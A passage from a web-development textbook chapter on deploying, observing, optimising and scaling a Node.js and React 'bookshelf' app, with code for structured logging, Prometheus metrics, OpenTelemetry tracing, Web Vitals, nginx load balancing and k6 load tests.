| Massive parallelism | 1,000 concurrent invocations can open 1,000 database connections | Connection reuse outside the handler, small pools, data proxies or HTTP-based databases |
| Time and size limits | Maximum execution time (e.g. 15 minutes on Lambda), payload limits | Move long work to queues and background jobs |
| Vendor-specific APIs | Handlers and triggers differ per provider | Keep business logic in plain modules; thin adapters per platform |
Infrastructure as code. Clicking resources together in a console cannot be reviewed, repeated or rolled back. Infrastructure as code (Terraform/OpenTofu, Pulumi, AWS CDK) describes servers, databases, DNS and permissions in files that live in Git and go through the same review and CI process as application code.
Shared responsibility. In every model, the provider secures what it manages and you secure what you manage. Even with serverless, your code, dependencies, configuration, access policies and data remain your responsibility.
Key Takeaways
- Deployment models range from VMs (most control, most work) through PaaS and containers to serverless and edge functions (least work, least control).
- Static front ends belong on a CDN; APIs commonly run as containers or on a PaaS; managed databases remove most operational burden.
- Serverless functions scale to zero and bill per use, but require stateless design and attention to cold starts and connection counts.
- Describe infrastructure as code, and remember that security of code, configuration and data stays with you.
Practice
- (Beginner) Deploy the bookshelf React build to a static host and the API container to a PaaS or Cloud Run free tier, using a managed MongoDB. Note which steps the platform handled for you.
- (Intermediate) Implement
GET /books/:isbnas a Lambda (or Cloud Function) handler and as an Express route, sharing the samefindBookByIsbnmodule. Measure cold and warm response times.- (Interview) "When would you choose serverless functions over a container platform for an API, and when not?" Hint: consider traffic patterns (spiky versus steady), latency requirements, execution duration, database connections, cost at high volume and team experience.
Logging, Monitoring and Observability
Why observe production. Tests show that the code behaved correctly in the situations you imagined. Production produces situations you did not imagine: an unusual browser, a slow third-party API, a data shape from 2019, a traffic spike. When users report "the site is slow" or, worse, do not report anything and leave, you need to answer what is wrong, where and since when, without attaching a debugger to a production server. Observability is the ability to understand a system's internal state from the data it emits.
An analogy: a car's dashboard and its maintenance log. The dashboard (metrics) shows speed and warnings at a glance; the log (logs) records what happened; a mechanic's diagnostic trace of one journey (traces) shows exactly where time and fuel went.
The three signals.
| Signal | What it is | Answers | Example |
|---|---|---|---|
| Logs | Timestamped records of discrete events | What happened in this request? | {"level":"error","reqId":"a1","msg":"payment failed","provider":"stripe"} |
| Metrics | Numeric measurements aggregated over time | How much, how fast, how often? | http_requests_total{route="/books",status="500"} per second |
| Traces | The path of one request through all services, as timed spans | Where did this slow request spend its time? | Gateway 5 ms -> API 20 ms -> MongoDB 480 ms |
Logs: structured, correlated, safe. As in 11.6, log JSON objects rather than free text, so log platforms can filter and aggregate by field. Every log line for one request should carry the same request ID, which is also returned to the client so a support ticket can be traced:
import pino from 'pino';
import pinoHttp from 'pino-http';
import crypto from 'node:crypto';
export const logger = pino({
level: config.LOG_LEVEL,
redact: ['req.headers.authorization', 'req.headers.cookie', '*.password', '*.token'], // never log secrets
});
app.use(pinoHttp({
logger,
genReqId: (req, res) => {
const id = req.get('X-Request-Id') ?? crypto.randomUUID(); // reuse the proxy's ID if present
res.setHeader('X-Request-Id', id);
return id;
},
customLogLevel: (req, res, err) => (err || res.statusCode >= 500 ? 'error' : res.statusCode >= 400 ? 'warn' : 'info'),
}));
// In a route: req.log already carries reqId
req.log.info({ bookId, userId: req.user.id }, 'book borrowed');
| Level | Use for |
|---|---|
fatal | The process cannot continue |
error | A request or job failed and someone may need to act |
warn | Unexpected but handled (retry succeeded, deprecated API used) |
info | Significant business and lifecycle events (started, user registered) |
debug / trace | Detailed diagnostics, normally off in production |
Containers write logs to stdout; the platform collects them and ships them to a log store such as Grafana Loki, Elasticsearch/OpenSearch, Datadog or a cloud logging service.
Metrics: measure what users feel. Two simple frameworks tell you what to measure. RED for request-driven services: Rate (requests per second), Errors (failed requests per second), Duration (latency distribution). USE for resources: Utilisation, Saturation, Errors of CPU, memory, connection pools. Prometheus is the common open-source metrics system; it scrapes a /metrics endpoint on each instance:
import client from 'prom-client';
client.collectDefaultMetrics(); // event loop lag, heap, GC, CPU
const httpDuration = new client.Histogram({
name: 'http_request_duration_seconds',
help: 'HTTP request duration',
labelNames: ['method', 'route', 'status'],
buckets: [0.01, 0.05, 0.1, 0.25, 0.5, 1, 2.5], // seconds; histograms allow percentile queries
});
app.use((req, res, next) => {
const end = httpDuration.startTimer();
res.on('finish', () => end({
method: req.method,
route: req.route?.path ?? 'unmatched', // the route PATTERN, not the URL: keeps label count bounded
status: res.statusCode,
}));
next();
});
app.get('/metrics', async (req, res) => { // restrict to the internal network in production
res.type(client.register.contentType).send(await client.register.metrics());
});
Report latency as percentiles (p50, p95, p99), not averages: an average of 100 ms can hide the 1% of users who wait 5 seconds.
Traces with OpenTelemetry. OpenTelemetry (OTel) is the vendor-neutral standard for generating traces, metrics and logs. Its Node.js auto-instrumentation patches http, Express, MongoDB, Redis and fetch, so each request produces a trace without code changes. The trace context travels to other services in the W3C traceparent header:
// src/tracing.js: load before anything else: node --import ./dist/tracing.js dist/server/server.js
import { NodeSDK } from '@opentelemetry/sdk-node';
import { getNodeAutoInstrumentations } from '@opentelemetry/auto-instrumentations-node';
import { OTLPTraceExporter } from '@opentelemetry/exporter-trace-otlp-http';
new NodeSDK({
serviceName: 'bookshelf-api',
traceExporter: new OTLPTraceExporter(), // sends to OTEL_EXPORTER_OTLP_ENDPOINT (Jaeger, Tempo, a vendor)
instrumentations: [getNodeAutoInstrumentations()],
}).start();
Trace 4bf92f... GET /api/v1/lists/42 total 612 ms
|- express middleware: authenticate 8 ms
|- express handler: getList 598 ms
| |- redis GET list:42 (miss) 2 ms
| |- mongodb find lists 31 ms
| |- mongodb find books {_id: {$in: [...]}} 540 ms <- missing index
Health checks. Orchestrators and load balancers need two different questions answered:
app.get('/healthz', (req, res) => res.json({ status: 'ok' })); // liveness: is the process alive?
app.get('/readyz', async (req, res) => { // readiness: can it serve traffic now?
if (!app.locals.ready) return res.status(503).json({ status: 'shutting down' });
try {
await Promise.all([mongoClient.db().command({ ping: 1 }), redis.ping()]);
res.json({ status: 'ready' });
} catch {
res.status(503).json({ status: 'dependencies unavailable' });
}
});
A failing liveness check causes a restart; a failing readiness check only removes the instance from the load balancer. Do not check databases in liveness, or a database outage will restart every instance in a loop.
Alerting on what matters. Alert on symptoms users feel, not on every cause. Define SLIs (service level indicators, such as "fraction of requests answered successfully in under 500 ms"), set SLOs (objectives, such as 99.5% over 30 days) and alert when the error budget (the 0.5%) is being used up too fast. An SLA is the contractual promise to customers, usually looser than the SLO. Every alert should be actionable, with a link to a runbook; alerts that fire constantly get ignored.
Errors and real users. Error trackers (Sentry, Rollbar, or OTel-based tools) group exceptions from servers and browsers, attach stack traces mapped through source maps, and show which release introduced them. Real User Monitoring (RUM) collects performance and errors from actual browsers (next section).
Key Takeaways
- Observability combines logs (events), metrics (aggregates) and traces (request paths) to explain production behaviour.
- Log structured JSON with request IDs and redaction; use levels consistently and ship logs from stdout.
- Measure RED metrics with histograms and percentiles; keep metric labels bounded.
- Use OpenTelemetry for vendor-neutral tracing across services.
- Separate liveness from readiness, and alert on SLO-based symptoms with runbooks.
Practice
- (Beginner) Add
pino-httpwith request IDs and redaction to the bookshelf API. Make a request with anAuthorizationheader and verify that the token does not appear in the logs, while theX-Request-Iddoes.- (Intermediate) Expose Prometheus metrics, run Prometheus and Grafana with Docker Compose, and build a dashboard with request rate, error rate and p95 latency per route. Add OpenTelemetry tracing with Jaeger and find the slowest span of
GET /lists/:id.- (Interview) "Users say the app is slow, but average latency looks fine. How do you investigate?" Hint: look at percentiles instead of averages, break down by route and region, then follow slow traces to the span that dominates.
Performance Optimization and Web Vitals
Why performance is a feature. Users notice delays of a few hundred milliseconds. Slow pages lose visitors, conversions and search ranking, and slow interactions feel broken. Performance problems are also hard to see from a developer's fast laptop on office Wi-Fi: the real audience includes mid-range phones on mobile networks. Optimisation therefore starts with measuring what real users experience, then fixing the largest bottleneck first.
Core Web Vitals. Google's Web Vitals initiative defines a few user-centred metrics. Three of them, the Core Web Vitals, cover loading, interactivity and visual stability, and are used as a search ranking signal:
| Metric | Measures | Good | Needs improvement | Poor |
|---|---|---|---|---|
| LCP (Largest Contentful Paint) | Time until the largest image or text block in the viewport is rendered: "has the main content appeared?" | <= 2.5 s | <= 4.0 s | > 4.0 s |
| INP (Interaction to Next Paint) | Delay from a user interaction (click, tap, key) to the next frame painted, worst-case over the visit: "does the page respond?" | <= 200 ms | <= 500 ms | > 500 ms |
| CLS (Cumulative Layout Shift) | How much visible content unexpectedly moves: "does the page jump around?" | <= 0.1 | <= 0.25 | > 0.25 |
INP replaced First Input Delay (FID) in March 2024, because FID only measured the first interaction's input delay. Supporting metrics help diagnose the core ones: TTFB (Time to First Byte, server and network; good <= 0.8 s) and FCP (First Contentful Paint; good <= 1.8 s). A page passes when the 75th percentile of real visits meets the "good" threshold, separately for mobile and desktop.
navigation start
|--TTFB--| (server + network)
|----FCP----| (first text/image)
|---------------LCP---------------| (main content)
user clicks |--INP--| next paint
layout shifts while loading: ^ ^ ^ (summed into CLS)
Lab data vs field data.
| Lab (synthetic) | Field (real users, RUM) | |
|---|---|---|
| Tools | Lighthouse (15.2), Chrome DevTools Performance panel, WebPageTest | web-vitals library, Chrome UX Report (CrUX), PageSpeed Insights field section |
| Conditions | One simulated device and network, repeatable | Every real device, network and behaviour |
| Good for | Debugging, CI regression checks, before release | Knowing what users actually experience |
| Limits | Cannot measure INP well (no real interactions) | Needs traffic; slower feedback |
Measure field data with the web-vitals library and send it to your own endpoint:
// client/src/vitals.js
import { onLCP, onINP, onCLS, onTTFB } from 'web-vitals/attribution'; // attribution build explains WHY
function send(metric) {
const body = JSON.stringify({
name: metric.name, // 'LCP' | 'INP' | 'CLS' | 'TTFB'
value: metric.value,
rating: metric.rating, // 'good' | 'needs-improvement' | 'poor'
page: location.pathname,
target: metric.attribution?.interactionTarget ?? metric.attribution?.target, // the slow element
});
navigator.sendBeacon('/api/vitals', body); // survives page unload, unlike fetch
}
onLCP(send);
onINP(send);
onCLS(send);
onTTFB(send);
Improving LCP. LCP breaks down into server response, resource load delay, resource load time and render delay.
<!-- Discoverable, prioritised hero image; never lazy-load the LCP element -->
<link rel="preload" as="image" href="/covers/featured-640.avif" fetchpriority="high">
<img src="/covers/featured-640.avif"
srcset="/covers/featured-320.avif 320w, /covers/featured-640.avif 640w"
sizes="(max-width: 600px) 100vw, 640px"
width="640" height="960"
fetchpriority="high"
alt="Cover of this week's featured book">
<!-- Below-the-fold images can wait -->
<img src="/covers/related-1.avif" loading="lazy" width="200" height="300" alt="...">
Other LCP levers: reduce TTFB (caching, CDN, server-side rendering or static generation for content pages, 14.5), compress with Brotli, serve modern image formats (AVIF, WebP), avoid render-blocking scripts and large CSS, and preconnect to required third-party origins.
Improving INP. INP is poor when the main thread is busy when the user interacts, or when the handler itself does too much work before the browser can paint. Any task over 50 ms is a long task. Break work into chunks and yield to the browser so it can handle input and paint:
// Filtering 20,000 books on every keystroke blocks the main thread
async function filterBooks(books, query) {
const results = [];
for (let i = 0; i < books.length; i++) {
if (books[i].title.toLowerCase().includes(query)) results.push(books[i]);
if (i % 1000 === 0) await yieldToMain(); // give the browser a chance to paint and handle input
}
return results;
}
function yieldToMain() {
return globalThis.scheduler?.yield?.() ?? new Promise((resolve) => setTimeout(resolve, 0));
}
Other INP levers: give immediate visual feedback before heavy work, debounce input handlers, use React's useTransition or useDeferredValue for non-urgent updates (14.2), virtualise long lists, move heavy computation to a Web Worker, avoid layout thrashing (alternating DOM reads and writes, 6.2), and reduce third-party scripts.
Improving CLS. Always set width and height (or CSS aspect-ratio) on images and videos; reserve space for ads, embeds and late-loading banners; avoid inserting content above existing content except in response to a user action; animate with transform rather than properties that change layout; and use font-display: optional or size-adjusted fallback fonts to limit shifts from web fonts.
Back-end performance. Front-end metrics often trace back to the server:
| Problem | Symptom | Fix |
|---|---|---|
| N+1 queries | One query per list item | Batch with $in or joins |
| Missing index | Slow queries as data grows (trace above) | Add indexes; check explain() (13.2) |
| Repeated expensive reads | Same data computed for every request | Cache in Redis (13.3) or with HTTP caching and ETags (10.1) |
| Large responses | Slow on mobile networks | Pagination, field selection, compression |
| Blocking the event loop | All requests slow at once | Streams, worker threads, async APIs (11.3) |
Performance budgets. A budget turns performance into a pass/fail check, so regressions are caught in CI rather than by users. Lighthouse CI (15.2) can assert thresholds on every pull request:
{
"ci": {
"assert": {
"assertions": {
"largest-contentful-paint": ["error", { "maxNumericValue": 2500 }],
"cumulative-layout-shift": ["error", { "maxNumericValue": 0.1 }],
"total-blocking-time": ["warn", { "maxNumericValue": 200 }],
"resource-summary:script:size": ["error", { "maxNumericValue": 250000 }]
}
}
}
}
Key Takeaways
- Core Web Vitals measure loading (LCP <= 2.5 s), responsiveness (INP <= 200 ms) and visual stability (CLS <= 0.1) at the 75th percentile of real users.
- Use lab tools to debug and gate regressions, and field data (RUM, CrUX) to know real experience.
- LCP: fast TTFB, discoverable and prioritised hero resources, modern images. INP: short tasks, yielding, less JavaScript. CLS: reserved space and explicit dimensions.
- Many front-end problems originate on the server: queries, indexes, caching and payload size.
- Enforce performance budgets in CI.
Practice
- (Beginner) Run Lighthouse and PageSpeed Insights on the bookshelf home page. Identify the LCP element and fix two issues they report, such as missing image dimensions or a lazy-loaded hero image.
- (Intermediate) Add the
web-vitalslibrary with attribution, store the results through a/api/vitalsendpoint, and compute the p75 of each metric per page. Then use the Performance panel with 4x CPU throttling to find and split a long task in the search page.- (Interview) "Our Lighthouse score is 98 but CrUX shows poor INP. How is that possible?" Hint: compare lab and field conditions: real devices, real interactions after load, third-party scripts and pages that Lighthouse never tested.
Scalability and Load Balancing
Why scalability. An application that serves 100 users comfortably may collapse at 10,000: the CPU saturates, the database runs out of connections, latency climbs until requests time out. Scalability is the ability to handle more load by adding resources, ideally with cost growing roughly in proportion to load. Designing for it early mostly means avoiding choices that make scaling impossible later, such as keeping user state in one server's memory.
An analogy: a supermarket at rush hour. You can hire a faster cashier (vertical scaling) only up to a point; opening more checkout lanes (horizontal scaling) works much further, but needs someone directing customers to free lanes (the load balancer), and every lane must be able to serve any customer (stateless servers).
Vertical vs horizontal scaling.
| Vertical (scale up) | Horizontal (scale out) | |
|---|---|---|
| How | Bigger machine: more CPU, RAM | More machines or instances |
| Limit | The largest available machine | Practically very high |
| Availability | Single point of failure | Survives instance failures |
| Code changes | None | Instances must be stateless or share state externally |
| Cost curve | Rises steeply at the top end | Roughly linear; can scale down when quiet |
Node.js adds a twist: one process uses one core for JavaScript, so even on one machine you scale horizontally with the cluster module, PM2 (earlier in this subchapter) or several containers.
Statelessness: the prerequisite. If instance A stores a session in memory and the next request goes to instance B, the user is logged out. Every piece of shared state must move out of the process:
| State | Where it goes |
|---|---|
| Sessions | Redis session store (13.3) or stateless tokens (10.3) |
| Uploaded files | Object storage (S3, GCS, Azure Blob), not the local disk |
| Caches | Redis instead of in-process Maps (or accept per-instance caches that may differ) |
| Rate-limit counters | Redis-backed store (12.2) |
| WebSocket broadcast | Redis pub/sub adapter so a message reaches clients on all instances (10.5) |
| Scheduled jobs | A single scheduler or a queue with locking, so jobs do not run once per instance |
Load balancers. A load balancer distributes incoming requests across healthy instances.
| Type | Operates on | Can route by | Examples |
|---|---|---|---|
| Layer 4 (transport) | TCP/UDP connections | IP and port | AWS NLB, HAProxy in TCP mode |
| Layer 7 (application) | HTTP requests | Path, host, headers, cookies | nginx, HAProxy, Envoy, AWS ALB, Google Cloud Load Balancing |
| Algorithm | Behaviour | Good for |
|---|---|---|
| Round robin | Each instance in turn | Similar instances, similar requests |
| Weighted round robin | Proportional to configured weights | Mixed instance sizes, canary releases (see CI/CD above) |
| Least connections | Instance with fewest active connections | Requests of varying duration, WebSockets |
| IP hash / consistent hashing | Same client or key goes to the same instance | Cache locality, sticky behaviour without cookies |
Load balancers run health checks (the /readyz endpoint) and stop sending traffic to failing instances. Sticky sessions (pinning a client to one instance) are a workaround for stateful servers; they hurt balancing and fail when the instance dies, so prefer stateless instances.
upstream bookshelf_api {
least_conn; # algorithm
server 10.0.1.11:3000 max_fails=3 fail_timeout=30s;
server 10.0.1.12:3000 max_fails=3 fail_timeout=30s;
server 10.0.1.13:3000 weight=2; # a bigger instance gets twice the share
}
A scalable architecture for the bookshelf app.
+-------------+
Users ----> DNS ----------> | CDN | static assets, cached public API responses
+------+------+
|
+------v------+
| L7 load | TLS, health checks, routing
| balancer |
+--+---+---+--+
| | |
+---------+ | +---------+
v v v
API inst. API inst. API inst. stateless, autoscaled on CPU / latency
\ | /
+--------------+------------+------------+-------------+
v v v
Redis (sessions, MongoDB replica set Job queue (BullMQ) --> worker instances
cache, rate limits) primary + read replicas e-mails, thumbnails, imports
Scaling the data layer. Stateless API instances are easy to multiply; the database usually becomes the bottleneck next. In order of increasing complexity:
- Indexes and query fixes: often the cheapest large win (13.2).
- Caching: Redis or HTTP/CDN caching for frequently read, rarely changed data (13.3, 10.1).
- Connection pooling: each instance keeps a bounded pool; total connections = instances x pool size must stay below the database limit.
- Read replicas: send reads that tolerate slight staleness to secondaries.
- Asynchronous work: move slow tasks (e-mail, image processing, imports) to a queue processed by workers, so requests return quickly and spikes are absorbed.
- Sharding / partitioning: split data across several database servers by a key (13.2); powerful but operationally complex.
Autoscaling. Cloud platforms add and remove instances based on metrics such as CPU utilisation, request rate or queue length. Set minimum instances for availability and to avoid cold starts, and maximum instances to protect the database and budget.
Load testing. Do not guess capacity: measure it before users do. k6 runs load scenarios written in JavaScript; autocannon is a quick Node-based HTTP benchmarker:
// load/browse.js: run with `k6 run load/browse.js`
import http from 'k6/http';
import { check, sleep } from 'k6';
export const options = {
stages: [
{ duration: '1m', target: 50 }, // ramp up to 50 virtual users
{ duration: '3m', target: 200 }, // hold a higher load
{ duration: '1m', target: 0 }, // ramp down
],
thresholds: {
http_req_failed: ['rate<0.01'], // fewer than 1% errors
http_req_duration: ['p(95)<500'], // 95% of requests under 500 ms
},
};
export default function () {
const res = http.get(`${__ENV.BASE_URL}/api/v1/books?page=1&limit=20`);
check(res, { 'status is 200': (r) => r.status === 200 });
sleep(1); // think time between user actions
}
Run load tests against a production-like environment, watch the metrics and traces from the previous sections while they run, and find which resource saturates first. That resource is the next thing to scale or optimise.
Key Takeaways
- Vertical scaling is simple but limited; horizontal scaling goes further and improves availability, but requires stateless instances.
- Move sessions, files, caches, counters and broadcasts out of process memory into shared services.
- Load balancers spread traffic (round robin, least connections, hashing) and remove unhealthy instances; prefer statelessness to sticky sessions.
- The database is usually the next bottleneck: index, cache, pool, replicate, queue, and shard only when needed.
- Load test with clear thresholds to find the real bottleneck, and autoscale within safe limits.
Practice
- (Beginner) Run three bookshelf API containers behind nginx with round robin. Log the instance hostname in each response and verify the distribution. Then stop one container and check that requests keep succeeding.
- (Intermediate) Move sessions and rate-limit counters to Redis so login works across all instances. Write a k6 test with p95 and error-rate thresholds, run it with one and with three instances, and report which resource saturates first.
- (Interview) "Your API runs on three instances behind a load balancer. After a marketing campaign it becomes slow even though the API servers' CPU is at 30%. What do you look at?" Hint: follow the request path beyond the app servers: database connections and slow queries, cache hit rate, external APIs, connection pool waits and event-loop lag.